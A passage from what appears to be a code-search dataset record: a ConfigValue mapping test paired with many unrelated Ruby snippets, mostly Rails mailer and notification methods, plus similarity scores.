\"#{ENV['DOMAIN']}/#/app/projects/#{project.id}/tasks\"\n\t\t@template_slug = APOSTLE_MAIL_TEMPLATE_SLUG[:review_decision]\n\t\ttrigger_mail\t\t\n\tend", "def dispatch_to_default_with_helpdesk\n issue = receive_issue\n roles = issue.author.roles_for_project(issue.project)\n # add owner-email only if the author has assigned some role with\n # permission treat_user_as_supportclient enabled\n if roles.any? {|role| role.allowed_to?(:treat_user_as_supportclient) }\n sender_email = @email.from.first\n #XXX the email_details overrides bellow: there is subroutine call instead\n email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n\n custom_field = CustomField.find_by_name('cc-handling')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.project.id, custom_field.id).first\n\n if ([email protected]?) && (custom_value.value == '1')\n carbon_copy = @email[:cc].formatted.join(', ')\n email_details << \"Cc: \" + carbon_copy + \"\\n\"\n custom_field = CustomField.find_by_name('copy-to') \n\t custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).first\n custom_value.value = carbon_copy\n custom_value.save(:validate => false)\n else\n carbon_copy = nil\n end\n\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details = \"<pre>\\n\" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"</pre>\"\n\t email_details = compose_email_details()\n issue.description = email_details + issue.description\n issue.save\n custom_field = CustomField.find_by_name('owner-email')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).\n first\n custom_value.value = sender_email\n custom_value.save(:validate => false) # skip validation!\n \n # regular email sending to known users is done\n # on the first issue.save. So we need to send\n # the notification email to the supportclient\n # on our own.\n \n HelpdeskMailer.email_to_supportclient(issue, {:recipient => sender_email,\n :carbon_copy => carbon_copy} ).deliver\n # move issue's description onto the new (1-st) journal entry\n journal = Journal.new(:journalized_id => issue.id, :journalized_type => 'Issue', :user_id => issue.author.id, :notes => issue.description, :private_notes => false, :created_on => issue.created_on)\n journal.notify = false # regular email sending to known users is done so no need to notify one more time about this technical operation\n journal.save\n issue.description = ''\n issue.save\n\n end\n after_dispatch_to_default_hook issue\n return issue\n end", "def get_kyc_report\n service_response = AdminManagement::Report::Kyc.new(params).perform\n render_api_response(service_response)\n end", "def send_admin_review_email\n Mailer.admin_review_email(user, content, business, rating).deliver\n end", "def email\n\t\temail_response = EmailHandler.new(email_content).deliver_email\n\t\t\trender text: email_response + \"\\n\"\n\tend", "def review_request(user)\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def issues\n dashboard = fetch_email_dashboard\n respond_with Emails.new(dashboard.issues, issues_emails_url)\n end", "def mail_assigned_reviewers\n # Find review mappings for the work done by this participant's team\n mappings = ResponseMap.where(reviewed_object_id: self.assignment.id,\n reviewee_id: self.team.id,\n type: 'ReviewResponseMap')\n unless mappings.nil?\n mappings.each do |mapping|\n reviewer = mapping.reviewer.user\n prepared_mail = MailerHelper.send_mail_to_assigned_reviewers(reviewer, self, mapping)\n prepared_mail.deliver_now\n end\n end\n end", "def issue_raised(issue_id, team_member_id)\n @issue = Issue.find_by_id(issue_id)\n @worker = TeamMember.find_by_id(team_member_id)\n\n return unless @issue\n return unless @worker\n\n to = @worker.user.notification_email\n\n mail(:to => to, :subject => \"[Raised] #{@issue.key} - #{@issue.summary}\") if to\n end", "def trainee_report\n @user = @receiver\n @notification = @user.notifications.find_by(path: \"/reports/#{@report.id}\")\n subject = \"[bootcamp] #{@report.user.login_name}さんが日報【 #{@report.title} 】を書きました!\"\n mail to: @user.email, subject: subject\n end", "def token_receipt\n AccountsMailer.token_receipt\n end", "def emailOnTeammateReview(revieweeId)\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n user=User.find_by_id(participant)\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_teammate_review\"\r\n if(user.email_on_teammate_review)\r\n email(user.email,\"TeammateReview\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end", "def failure_message\n parts = []\n parts << %(\n Hi. Your friendly Curry bot here. Just letting you know that there are\n commit authors in this Pull Request who appear to not have signed a Chef\n CLA.\n ).squish\n\n unknown_commit_authors_with_email_count = @pull_request.unknown_commit_authors.with_known_email.count\n\n if unknown_commit_authors_with_email_count > 0\n parts << %{\n There are #{unknown_commit_authors_with_email_count} commit author(s)\n whose commits are authored by a non GitHub-verified email address in\n this Pull Request. Chef will have to verify by hand that they have\n signed a Chef CLA.\n }.squish\n end\n\n unknown_commit_authors_with_login = @pull_request.unknown_commit_authors.with_known_login\n\n if unknown_commit_authors_with_login.count > 0\n parts << 'The following GitHub users do not appear to have signed a CLA:'\n\n list = unknown_commit_authors_with_login.map do |commit_author|\n \"* @#{commit_author.login}\"\n end.join(\"\\n\")\n\n parts << list\n end\n\n parts << [\n '[Please sign the CLA here.]',\n \"(#{ENV['CURRY_CLA_LOCATION']})\"\n ].join\n\n parts.join(\"\\n\\n\")\n end", "def beta_access_request(hacker)\n @hacker = hacker\n\n mail to: @hacker.email, subject: 'hackrLog() Beta Access Request.'\n end", "def headers\n {\n :subject => \"Business Plan Summary\",\n :to => \"[email protected]\",\n :from => %(\"#{pname}\" <#{pemail}>)\n }\n end", "def carving_and_marking_part_2_email_body\n %(<div>VESSEL NAME: #{@submission.vessel}</div>\n <div>Please find enclosed the Carving and Marking Note for the above vessel.\n <br><br>Please arrange for an MCA surveyor or Authorised Surveyor/Inspector\n of Marks to certify that the Carving and Markings are correct and return\n the form to this office.\n <br><br>Regulation 35 of the Merchant Shipping (Registration of Ships)\n Regulations 1993 states that a carving and marking note should be\n returned to the Registrar within three months.\n <br><br>We also require the following documents:\n\n <br>• Certificate of Measurement/Survey – Completed by a\n MCA Surveyor/Authorised Surveyor\n <br>• Valid Safety Certificate – Completed by a\n MCA surveyor\n <br>• [ITC 69 issued by Authorised Measurer] –\n [delete if not required (for over 24m only)]\n\n <br><br>\n Please do not hesitate to contact us you require any further assistance.\n </div>)\n end", "def sendeoreturnmail(emails, engineorder, user)\n \n @user = user\n\n @engineorder = engineorder\n\n mail to: emails, subject: \"【重要】R2システムからのエンジン返却登録完了の通知です。\"\n\n return self\n\n end", "def headers\n {\n :subject => %(#{subject}),\n :to => %(\"#{cattery_name}\" <#{cattery_email}>),\n :from => %(\"Cat Linker\" <[email protected]>),\n :reply_to => %(\"#{email_to_name(email)}\" <#{email}>)\n }\n end", "def email_validation mail_to, mailer_config\n require 'net/smtp'\n mailer_config['message']['subject'] = \"TRDREV_TD Validation Report for: #{@payroll_month.label}\" || mailer_config['message']['subject']\n mailer_config['message']['body'] = @formatted_validation || mailer_config['message']['body']\n\n message_content = <<END_OF_MESSAGE\nFrom: #{mailer_config['message']['from_alias']} <#{mailer_config['message']['from']}>\nTo: <#{mail_to}>\nSubject: #{mailer_config['message']['subject']}\n\n#{mailer_config['message']['body']}\nEND_OF_MESSAGE\n\n Net::SMTP.start(mailer_config['smtp']['server']) do |smtp|\n smtp.send_message message_content, mailer_config['message']['from'], mail_to\n end\n end", "def error_mail_content(exception)\n _error_mail(exception).to_s\n end", "def headers\n {\n :subject => \"New Enquiry\",\n :to => \"[email protected]\",\n :from => %(\"#{title} #{first_name} #{last_name}\")\n }\n end", "def feedback_email (user_email, feedback_text, subject)\n\t\t@feedback_data = {:mailbody => feedback_text, :sender_email => user_email}\n\n\t\tmail(:to => '[email protected]', :reply_to => user_email, :subject => subject) # returned value\n\tend", "def change_log_email(milestone, sender, user)\n\n @project = milestone.project\n @milestone = milestone\n @resolved_tickets = milestone.tickets.completed.sorted_by_due_date\n @user = user\n\n sender_name = sender.name\n sender_email = if sender.email_addresses.primary.blank? || sender.email_addresses.primary.address.blank?\n '[email protected]'\n else\n sender.email_addresses.primary.address\n end\n\n mail(to: \"#{user.name} <#{user.email_addresses.primary.address}>\", from: \"#{sender_name} <#{sender_email}>\", subject: \"#{milestone.project.name}: #{milestone.name} Change Log\")\n end", "def request_placeholder\n \"JIRA Number: HIANDEV-XXXX\nSolution: HealtheAnalytics\nTest Date: 10-May-2017\nEnvironment: Staging\nOperating System: OS-X\nAssociate ID: AA00000\nPrerequisite Evidence: N/A\"\n end", "def compose_email_details()\n\t email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n if [email protected]?\n email_details << \"Cc: \" + @email[:cc].formatted.join(', ') + \"\\n\"\n end\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details << \"Subject: \" + @email[:subject].to_s + \"\\n\"\n email_details = \"bq. \" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"\\n\"\n email_details\n end", "def instructor_reminder_email(class_date)\n @response_email = ResponseEmail.find_by_purpose(\"auto_instructor_reminder\")\n @body = format_instructor_auto_reminder(@response_email.body, class_date)\n mail(:to => class_date.instructors, :subject => @response_email.subject, :reply_to => @response_email.reply_to) unless class_date.instructors.blank?\n end", "def headers\n {\n :subject => \"澄清:對於#{candidate_name}的#{record_type}\",\n # :to => \"[email protected]\",\n :to => Setting.email.clarify,\n :from => %(\"#{name}\" <#{email}>)\n }\n end", "def emailOnFeedback(revieweeId)\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n user=User.find_by_id(participant)\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_feedback\"\r\n if(user.email_on_feedback)\r\n email(user.email,\"feedback\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end", "def issued\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def get_MIT_people_email()\n \tkerberos = self.email.split('@')[0]\n \tinfo = RestClient.get 'http://web.mit.edu/bin/cgicso?', {:params => {:options => \"general\", :query => kerberos, :output =>'json'}}\n \treturn info.downcase\n\tend", "def headers\n\n {\n :subject => \"POF Details \",\n :from => %(\"#{username}\"),\n :to => '[email protected]',\n :bcc => \"[email protected]\"\n\n }\nend", "def investment_email(investor,investment_opportunity)\n @investor = investor\n @investment_opportunity = investment_opportunity\n mail(from: \"[email protected]\",to: \"[email protected]\",reply_to: @investor.email, subject: \"Emerging Frontiers Investment Inquiry\")\n end", "def alert(annc, user)\n\t\t@greeting = annc.company.name.upcase + \" (#{annc.company.hk_ticker}) has posted an announcement at #{annc.datetime.to_formatted_s(:short)}: #{annc.message}.\"\n\t\t@url = annc.url\n\n\t\tmail to: user.email, subject: \"HK Equities Alert (#{annc.company.hk_ticker})\"\n\tend" ]
[ "0.62613153", "0.60695267", "0.5953663", "0.5815612", "0.58054847", "0.57805985", "0.5767882", "0.57628787", "0.575934", "0.57584065", "0.57250553", "0.57060987", "0.56945837", "0.568172", "0.5637443", "0.5605159", "0.5601538", "0.55704343", "0.55512136", "0.55248755", "0.55201185", "0.55094343", "0.5499727", "0.54943126", "0.5487548", "0.5476459", "0.54751", "0.5465655", "0.5459989", "0.5459465", "0.54581714", "0.5452842", "0.5444222", "0.54429084", "0.5429809", "0.5422597", "0.5411123", "0.53979176", "0.53861403", "0.5379181", "0.537722", "0.5375604", "0.5372481", "0.53716016", "0.5370215", "0.5368525", "0.5367519", "0.5367167", "0.5365335", "0.53618616", "0.5359382", "0.5354767", "0.5352531", "0.53457886", "0.5344585", "0.5340175", "0.5338135", "0.5335034", "0.5332898", "0.5322389", "0.53156", "0.53055227", "0.5298489", "0.52968645", "0.52961457", "0.5293784", "0.52935094", "0.5284769", "0.5281846", "0.52800083", "0.5274352", "0.5272561", "0.5259915", "0.52593374", "0.52592987", "0.5258395", "0.5254953", "0.5247111", "0.52458483", "0.5236886", "0.52347285", "0.52317953", "0.5231515", "0.5228255", "0.52215946", "0.5214684", "0.5214277", "0.52140206", "0.5212793", "0.52108157", "0.52105564", "0.5209202", "0.5204856", "0.52028376", "0.5201915", "0.5198581", "0.519662", "0.51948476", "0.5194621", "0.5192765" ]
0.68020076
0
If this test fails, it means that we've added a new type to the ConfigValue
def test_mapping_is_exhaustive unsupported = [:bytes, :limit_definition, :log_level, :weighted_values, :int_range] supported = PrefabProto::ConfigValue.descriptor.entries.reject do |entry| unsupported.include?(entry.name.to_sym) end.map(&:number) mapped = Prefab::ContextShape::MAPPING.values.uniq unless mapped == supported raise "ContextShape MAPPING needs update: #{mapped} != #{supported}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ensure_valid_default_value(value)\n if !value.nil? && types && types.none? { |type| type === value }\n raise TypeError, I18n.t(\"lita.config.type_error\", attribute: name, types: types.join(\", \"))\n end\n end", "def check_types(value)\n if types && types.none? { |type| type === value }\n Lita.logger.fatal(\n I18n.t(\"lita.config.type_error\", attribute: name, types: types.join(\", \"))\n )\n abort\n end\n end", "def set_adhoc_config_value!(key, value, data_type='String')\n config = \"UniversalAr::Config#{data_type.to_s.titleize}\".classify.constantize.find_or_create_by(subject: self, key: key)\n config.update(value: value)\n end", "def config=(value); end", "def add_property(conn, node, value, type)\n # Check if the same property is already added\n r = conn.get(\"#{node}/properties/#{CGI.escape(type)}\")\n #p r.status\n #p r.body, value\n #puts JSON.parse(value_stored.body)['exception']\n if r.status != 200\n conn.put(\"#{node}/properties/#{CGI.escape(type)}\", \"#{value.match(/\"(.*)\"/)}\", HEADER) \n $load_p += 1\n else\n if r.body == value\n $skip_p += 1\n else\n puts \"WARNING (Property Conflict): #{node}/properties/#{CGI.escape(type)} old: #{r.body} <> new: #{value}\"\n $warn_p += 1\n end\n end\n #puts \"#{node}/properties/#{CGI.escape(type)}\"\nend", "def update_value_type\n write_attribute :value_type, EavEntry.get_value_type(@value)\n end", "def value_type?\n VALUE_TYPES.include?(expected_type)\n end", "def addMetadataType\n begin\n # Name of the metadatatype to be added\n name = params[:metadatatypename].to_s.strip.downcase\n value_type = params[:value_type].to_s.strip.downcase\n\n if value_type == \"\"\n value_type = \"string\"\n elsif value_type != \"string\" && value_type != \"float\" && value_type != \"date\" && value_type != \"datetime\"\n render :text => \"Invalid value_type\", :status => 404\n return\n end\n\n # Check that type doesn't exist already\n # @@existing_metadata_types listed in the beginning of file\n if MetadataType.find_by_name(name) or @@existing_metadata_types.include?(name)\n render :text => \"Metadatatype already exists\", :status => 200\n return\n end\n\n # Create new type\n @newtype = MetadataType.create(:name => name, :value_type => value_type)\n render :text => \"Metadatatype created\", :status => 201\n return\n rescue => e\n puts \"Error in adding metadatatype: #{e.to_s}\".background(:red)\n render :text => \"Conflict\", :status => 409\n return\n end\n end", "def value=(value)\n if @value.class == value.class\n @value = value\n @updater = nil\n else\n raise \"Class of new value (#{value.class}) does not match class of current value (#{@value.class})\"\n end\n end", "def add_value(name, type, subtype = nil)\n if type.class == RustyJson::RustStruct || subtype.class == RustyJson::RustStruct\n if type.class == RustyJson::RustStruct\n t = type\n type = type.name\n struct = t\n elsif subtype.class == RustyJson::RustStruct\n s = subtype\n subtype = subtype.name\n struct = s\n end\n @structs << struct\n RustStruct.add_type(struct.name, struct.name)\n end\n @values[name] = [type, subtype]\n true\n end", "def type(val); @type = val; self; end", "def add_type(type)\n end", "def check_type(type, value)\n return unless type && value && !value.is_a?(type)\n\n \"should be of type #{type} but is of type #{value.class}\"\n end", "def l2_type=(value)\n fail \"l2_type property is settable only upon creation\"\n end", "def type=(type); end", "def add_configuration(value)\n @children['configuration'][:value] << value\n end", "def verify_storage_type_unchanged\n if previous_run.nil? # case (1)\n true\n else\n previous_value = previous_run['bookshelf']['storage_type']\n current_value = (user_attrs['storage_type'] || 'filesystem').to_s\n\n if previous_value.nil? && current_value == 'filesystem' # case (2)\n true\n elsif previous_value.nil? && current_value != 'filesystem' # case (3)\n fail_with <<~EOM\n\n Bookshelf's storage_type was previously the default of 'filesystem';\n however the current configuration would result in a value of\n '#{current_value}'. At this time it is not possible to change the\n bookshelf storage_type post-installation.\n\n Please set\n\n bookshelf['storage_type'] = 'filesystem'\n\n in /etc/#{ChefUtils::Dist::Org::LEGACY_CONF_DIR}/#{ChefUtils::Dist::Server::SERVER}.rb or leave it unset.\n EOM\n elsif previous_value.to_s == current_value # case (5)\n true\n else # everything else is invalid, including case 4 above\n fail_with <<~EOM\n\n Bookshelf's storage_type was previously '#{previous_value}'; however\n the current configuration would result in a value of '#{current_value}'.\n At this time it is not possible to change the bookshelf storage_type post-installation.\n\n Please set\n\n bookshelf['storage_type'] = '#{previous_value}'\n\n in /etc/#{ChefUtils::Dist::Org::LEGACY_CONF_DIR}/#{ChefUtils::Dist::Server::SERVER}.rb\n EOM\n\n end\n end\n end", "def test_truth\n assert_kind_of SiSetting, @si_setting\n end", "def add_wrong_types # this will throw error only after it's ran\n 4 + 'four'\nend", "def type(value)\n _type(value) or fail ArgumentError, \"Unknown value for type: #{value}\"\n end", "def type(value)\n _type(value) or fail ArgumentError, \"Unknown value for type: #{value}\"\n end", "def use_configuration_type type\n define_method(:configuration_type){ type }\n end", "def check_type\n \t self.type = TYPES[0] if !TYPES.include?(self.type)\n\t end", "def raise_type_defined(key)\n raise ArgumentError, <<-MSG.squish\n Type #{key} is already defined here: #{types[key].source_location.join(':')}\n MSG\n end", "def learn_value_type(value_type, canonical_value_type)\n # We know the exact type from a struct/class decl\n # Only need to learn a new type once\n memoized = CTypes[value_type]\n return memoized if memoized\n\n type_as_id = MRuby::Bindings::Names.type_name_to_id(canonical_value_type)\n ruby_type_name = MRuby::Bindings::Hooks.translate_type_name_to_ruby(canonical_value_type)\n\n new_ctype = CTypes.define(value_type) do\n boxing_fn.name = MRuby::Bindings::Hooks.boxing_fn_name(canonical_value_type)\n boxing_fn.invocation_template = <<EOF\n#{value_type}* new_%{as} = TODO_move_#{type_as_id}_to_heap(%{box});\nmrb_value %{as} = #{boxing_fn.name}(mrb, &%{box});\nEOF\n unboxing_fn.name = MRuby::Bindings::Hooks.unboxing_fn_name(canonical_value_type)\n unboxing_fn.invocation_template = \"#{value_type} %{as} = *(#{unboxing_fn.name}(%{unbox}));\"\n\n self.type_check_template = <<EOF\nif (!mruby_#{ MRuby::Bindings::Hooks.module_name }_typecheck_#{ ruby_type_name }(mrb, %{value})) {\nif (!mrb_obj_is_kind_of(mrb, %{value}, #{MRuby::Bindings::Hooks.module_name}_#{ruby_type_name}_class(mrb))) {\n mrb_raise(mrb, E_TYPE_ERROR, \"#{ruby_type_name} expected\");\n return mrb_nil_value();\n}\nEOF\n end\n new_ctype\n end", "def test_truth\n assert_kind_of ProductOptionValues, @product_option_values\n end", "def app_config_key_type=(value)\n @app_config_key_type = value\n end", "def value_type=(value)\n @value_type = value\n end", "def new\n @config_value = ConfigValue.new\n end", "def class_type=(value)\n\t\tself[:type] = value\n\tend", "def type= new_type\n @gapi.update! type: verify_type(new_type)\n end", "def <<(value)\n self[\"m:type\"] = Azure::Tables::Types.type_of(value)\n super(value)\n end", "def add_type( type )\n hash = type.hash\n raise \"upps #{hash} #{hash.class}\" unless hash.is_a?(::Integer)\n was = types[hash]\n return was if was\n types[hash] = type\n end", "def validate_data_value(value, &block)\n # The DataProvider.value_type is self recursive so further recursive check of collections is needed here\n unless value_is_validated? || DataProvider.value_type.instance?(value)\n actual_type = Types::TypeCalculator.singleton.infer(value)\n raise Types::TypeAssertionError.new(\"#{yield} has wrong type, expects Puppet::LookupValue, got #{actual_type}\", DataProvider.value_type, actual_type)\n end\n value\n end", "def register_device type, config\n\t\t\tif not config.is_a? Hash\n\t\t\t\[email protected](\"A client tried to add a #{type} with a bad message\")\n\t\t\t\treturn false, \"bad message\"\n\t\t\tend\n\t\t\tmulti = config.delete(:multiplexer)\n\t\t\tmulti_id = get_multi_id(multi)\n\t\t\tif (not multi_id.is_a? Integer)\n\t\t\t\[email protected](\"A client tried to add a #{type} with a bad multiplexer id : #{multi}\")\n\t\t\t\treturn false, \"bad multiplexer id\"\n\t\t\tend\n\t\t\tmulti_config = get_multi_config multi_id\n\t\t\tif not multi_config\n\t\t\t\[email protected](\"A client tried to add a #{type} with an unknown multiplexer : #{multi}\")\n\t\t\t\treturn false, \"unknown multiplexer\"\n\t\t\tend\n\t\t\tmust_take = false\n\t\t\tcase multi_config[:network]\n\t\t\t\twhen 0\n\t\t\t\t\tmust_take = true\n\t\t\t\twhen @network\n\t\t\t\t\t# rien à faire ?\n\t\t\t\telse\n\t\t\t\t\[email protected](\"A client tried to add a #{type} that belong to another network : #{multi_config[:network]}\")\n\t\t\t\t\treturn false, \"multiplexer belong to network #{multi_config[:network]}\"\n\t\t\tend\n\t\t\tprofile = get_profile type, config[:profile]\n\t\t\tif profile == nil\n\t\t\t\[email protected](\"A client tried to add a #{type} with an unknown profile : #{config[:profile]} (multiplexer : #{multi})\")\n\t\t\t\treturn false, \"unknown profile\"\n\t\t\tend\n\t\t\tbegin\n\t\t\t\tconfig.must_have(CONFIG[type][:necessary])\n\t\t\t\tconfig.can_have(CONFIG[type][:optional])\n\t\t\trescue ArgumentError => error\n\t\t\t\[email protected](\"A client tried to add a bad sensor config or profile : #{error.message}\")\n\t\t\t\treturn false, \"Incomplete config : #{error.message}\"\n\t\t\tend\n\t\t\tbegin\n\t\t\t\tprofile.must_have(PROFILE[type][:necessary])\n\t\t\t\tprofile.can_have(PROFILE[type][:optional])\n\t\t\trescue ArgumentError => error\n\t\t\t\[email protected](\"The profile #{config[:profile]} is bad : #{error.message}\")\n\t\t\t\treturn false, \"The profile exists but is invalid : #{error.message}\"\n\t\t\tend\n\t\t\tperiod = config[:period] || profile[:period]\n\t\t\tif not period #TODO : allow non looping sensors ?\n\t\t\t\[email protected](\"A client tried to add the sensor #{multi}:#{config[:pin]} without period. Config : #{config}, profile : #{profile}\")\n\t\t\t\treturn false, \"Period is missing in profile and config\"\n\t\t\tend\n\t\t\tpin = config.delete(:pin)\n\t\t\tmethod = {actuator: @on_new_actuator, sensor: @on_new_sensor}[type]\n\t\t\treturn [false, \"unimplemented command\"] unless method\n\t\t\tcase method.call(multi_id, pin, profile[:function], period, *[profile[:option1], profile[:option2]])\n\t\t\t\twhen true\n\t\t\t\t\tif must_take\n\t\t\t\t\t\tmulti_config[:network] = @network\n\t\t\t\t\t\tset_multi_config multi_id, multi_config\n\t\t\t\t\tend\n\t\t\t\t\[email protected](\"Add a #{type} on #{multi_id}:#{pin}\")\n\t\t\t\t\[email protected](path(type, :config, multi_id), pin, config.to_json)\n\t\t\t\t\treturn true\n\t\t\t\twhen false\n\t\t\t\t\treturn false, \"Refused by multi\"\n\t\t\t\telse\n\t\t\t\t\treturn nil\n\t\t\tend\n\t\tend", "def add(type)\n @value << type\n @value = @value.uniq\n end", "def set_type\n end", "def valid_type?(key, value)\n if [TrueClass, FalseClass].include? @defaults[key].class\n return [TrueClass, FalseClass].include? value.class\n end\n value.is_a? @defaults[key].class\n end", "def enforce_type (workitem, value)\n\n value = if not @type\n value\n elsif @type == 'string'\n value.to_s\n elsif @type == 'int' or @type == 'integer'\n Integer(value)\n elsif @type == 'float'\n Float(value)\n else\n raise\n \"unknown type '#{@type}' for field '#{@field}'\"\n end\n\n workitem.attributes[@field] = value\n end", "def handle_option_type_config\n etp = object_instance.option_type.to_s.underscore.to_sym\n\n # set_item\n\n unless etp.present? && @implementation_class && @implementation_class.definition.option_configs_names&.include?(etp)\n return\n end\n\n @option_type_name = etp\n # Get the options that were current when the form was originally created, or the current\n # options if this is a new instance\n @option_type_config = if object_instance.persisted?\n object_instance.option_type_config\n else\n @implementation_class.definition.option_type_config_for(etp)\n end\n\n @option_type_attr_name = :option_type\n end", "def should_fail_to_create_metadata(key, value, error, message)\n should_fail_to_change_metadata(key, value, error, message, true)\n end", "def option_type_config; end", "def wrong_type_error(value, data_name, expected_type)\n \"#{data_name} was of wrong type, expected #{expected_type} and the value was #{value}\"\n end", "def add(key, value, ttl=@default_ttl, raw=false)\n super(key, value, ttl, !raw)\n @string_return_types ? \"STORED\\r\\n\" : true\n rescue TypeError => e\n # Maybe we got an ActiveSupport::Duration\n ttl = ttl.value and retry rescue raise e\n rescue NotStored\n rescue Error => e\n log_exception e\n @string_return_types? \"NOT STORED\\r\\n\" : false\n end", "def check_value!(value)\n # Allow nil and Strings to fall back on the validations for typecasting\n case value\n when nil, String, expected_type\n value\n else\n raise TypeError, \"#{@name} expected #{expected_type.inspect} but got #{value.inspect}\"\n end\n end", "def type= new_type\n frozen_check!\n @gapi.type = new_type\n end", "def type= new_type\n frozen_check!\n @gapi.type = new_type\n end", "def type value\n @settings[:type] = value\n return self\n end", "def add_attribute_to_type\n check_type_exists\n type_content = File.read(type_path)\n unless parameter_in_type?(type_content)\n type_content.sub!(END_PARAMETER_BLOCK,\"\\t\\t#{@attribute_type} :#{@attribute_name}\\n#{END_PARAMETER_TEXT}\")\n save_file(type_path, type_content)\n Puppet.notice \"#{@attribute_type.capitalize} #{@attribute_name} added to #{type_path}\"\n else\n Puppet.notice \"#{@attribute_type.capitalize} #{@attribute_name} already in #{type_path}\"\n end\n end", "def updated?\n\t\t\[email protected]_a? Hash\n\t\tend", "def hash_add(field)\n value = data_type_editor(field, AppConfig.data_type[field], AppConfig.initial[field])\n if value =~ /([^,]+)\\s*,\\s*(\\S.*)/\n AppConfig.config[field][$1.strip] = $2.strip\n end\n end", "def add(matcher, value)\n @configurations[parse_matcher(matcher)] = value\n end", "def log_entry\n \"#{@actual_type} is an invalid type for #{@col_name} with the value #{@val}. It should be #{@expected_type}\"\n end", "def parse_value(type, key, value) #:nodoc:\n if type == :boolean\n TRUE_VALUES.include?(value)\n elsif value && ALLOWED_TYPES[type].none?{ |klass| value.is_a?(klass) }\n raise \"Expected type :#{type} in params[:#{key}], got #{value.class}\"\n else\n value\n end\n end", "def reloadable(config)\n if(config.is_a?(Bogo::Config))\n reloader\n memoize(:bogo_reloadable_configs, :global){ [] }.push(config.object_id).uniq!\n else\n raise TypeError.new \"Expecting type `Bogo::Config`. Received: `#{config.class}`\"\n end\n true\n end", "def add_config! key, config\n key = validate_new_key! key\n @defaults[key] = config\n @validators[key] = SUBCONFIG\n end", "def create\n @config_value = ConfigValue.new(params[:config_value])\n if @config_value.save\n redirect_to config_values_path, notice: 'Config value was successfully created.' \n else\n render action: \"new\" \n end\n end", "def add_type(type)\n\n # nothing to be done\n end", "def add_type(type)\n\n # nothing to be done\n end", "def bar_type=(s)\n self[:type] = s\n end", "def set_type_of_value\n @type_of_value = TypeOfValue.find(params[:id])\n end", "def config_value_model(data_type)\n case data_type.to_s.titleize\n when 'String'\n return ::UniversalAr::ConfigString\n when 'Integer'\n return ::UniversalAr::ConfigInteger\n when 'Boolean'\n return ::UniversalAr::ConfigBoolean\n when 'Date'\n return ::UniversalAr::ConfigDate\n end\n end", "def call(value)\n klass = value.class\n format_values = {\n name: name,\n got: klass,\n allowed: allowed_classes.join(CLASS_DELIM)\n }\n\n unless allowed_classes.any?(&klass.method(:equal?))\n fail TypeError, format(ERROR_FORMAT, format_values)\n end\n\n value\n end", "def add_value_by_value_type(str, value_type, result_init=nil, result_init_currency=nil, logtag=nil)\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:add_value_by_value_type, str:#{str}, result_init:#{result_init}, result_init_currency:#{result_init_currency}, value_type:#{value_type}\")\n result = nil\n if value_type == ValueTypeValidator::VALUE_TYPE_VALUE_UNIQ or value_type == ValueTypeValidator::VALUE_TYPE_VALUE\n # Add value\n if result_init.nil?\n sum_str = \"#{str}\"\n else\n sum_str = \"#{str} #{result_init_currency}#{result_init}\"\n end # end if result_init.nil?\n result = ControllerHelper.sum_currency_in_str(sum_str, 0)\n else\n # Add count\n if result_init.nil?\n result = 1\n else\n result = result_init + 1\n end # end if result_init.nil?\n end # end if value_type == ValueTypeValidator::VALUE_TYPE_VALUE_UNIQ or value_type == ValueTypeValidator::VALUE_TYPE_VALUE\n result\n end", "def test_store_invalid_settings_beacon\n invalid_settings = {\n not_a_field: \"not_a_value\"\n }\n begin\n @client.beacons.store_beacon_settings VALID_BEACON_ID, invalid_settings\n code = @client.beacons.last_response.code\n rescue => e\n code = e.response.code\n end\n assert code == 400, message: \"Should have gotten bad request due to invalid settings\"\n end", "def parse_value(type, key, value)\n if type == :boolean\n TRUE_VALUES.include?(value)\n elsif value && ALLOWED_TYPES[type].none?{ |klass| value.is_a?(klass) }\n raise \"Expected type :#{type} in params[:#{key}], got #{value.class}\"\n else\n value\n end\n end", "def test_conversion_types_should_be_different\n food_conversion = create\n assert food_conversion.valid?, \"The conversion was invalid:\\n #{food_conversion.to_yaml}\"\n food_conversion.conversion_units = food_conversion.equivalent_units\n assert !food_conversion.valid?, \"Conversion should have been invalid\"\n assert_not_nil food_conversion.errors.on(:conversion_units), \"conversion_units should have had an error\"\n end", "def set_affected_object_type\n\n\taffected_object_type = AffectedObjectType.find_by_affected_object_type_name(self.affected_object_type_name)\n\t if affected_object_type != nil \n\t\t self.affected_object_type = affected_object_type\n\t\t return true\n\t else\n\t\terrors.add_to_base(\"value of field: 'affected_object_type_name' is invalid- it must be unique\")\n\t\t return false\n\tend\nend", "def add_enum_value(type, value, before: nil, after: nil)\n cmd = \"ALTER TYPE #{type} ADD VALUE '#{value}'\"\n\n if before && after\n raise ArgumentError, \"Cannot have both :before and :after at the same time\"\n elsif before\n cmd << \" BEFORE '#{before}'\"\n elsif after\n cmd << \" AFTER '#{after}'\"\n end\n\n execute(cmd).tap { reload_type_map }\n end", "def test_add_values\n ogg = dummy()\n\n assert !ogg.has_tag?(\"A\")\n\n ogg.add_values(\"A\", \"B\")\n assert_equal Set[\"B\"], ogg['A']\n\n ogg.add_values(\"A\", 